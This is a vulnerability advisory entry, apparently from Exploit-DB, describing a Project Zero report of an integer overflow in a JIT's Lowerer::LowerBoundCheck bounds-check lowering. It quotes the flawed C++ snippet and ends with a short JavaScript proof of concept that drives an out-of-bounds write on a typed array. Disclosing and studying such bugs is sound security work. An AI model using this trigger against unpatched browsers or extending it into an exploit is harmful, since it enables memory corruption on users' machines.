Integer Overflow in Lowerer::LowerBoundCheck

vendor:

Chromium

by:

Project Zero

7,5

CVSS

HIGH

Integer Overflow

190

CWE

Product Name: Chromium

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2018

Integer Overflow in Lowerer::LowerBoundCheck

At (a), it uses "IntConstMath::Add" to check integer overflow. But the size of IntConstType equals to the size of pointer, and the "offset" variable is used as a 32-bit integer. So it may fail to check integer overflow on 64-bit system. The PoC provided shows that an array of size 0x1000 is created and a loop is used to increment the index of the array until 0x7fffffff. This causes an integer overflow and the loop continues to increment the index beyond the array size.

Mitigation:

Ensure that integer overflow checks are performed correctly and that the size of IntConstType is appropriate for the data type.

Source

Exploit-DB raw data:

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1343

Here's a snippet of the method.
void Lowerer::LowerBoundCheck(IR::Instr *const instr)
{
    ...
    if(rightOpnd->IsIntConstOpnd())
    {
        IntConstType newOffset;
        if(!IntConstMath::Add(offset, rightOpnd->AsIntConstOpnd()->GetValue(), &newOffset)) <<--- (a)
        {
            offset = newOffset;
            rightOpnd = nullptr;
            offsetOpnd = nullptr;
        }
    }
    ...
    if(!rightOpnd)
    {
        rightOpnd = IR::IntConstOpnd::New(offset, TyInt32, func);
    }
}

At (a), it uses "IntConstMath::Add" to check integer overflow. But the size of IntConstType equals to the size of pointer, and the "offset" variable is used as a 32-bit integer. So it may fail to check integer overflow on 64-bit system.

PoC:
*/

function f() {
    let arr = new Uint32Array(0x1000);
    for (let i = 0; i < 0x7fffffff;) {
        arr[++i] = 0x1234;
    }
}

f();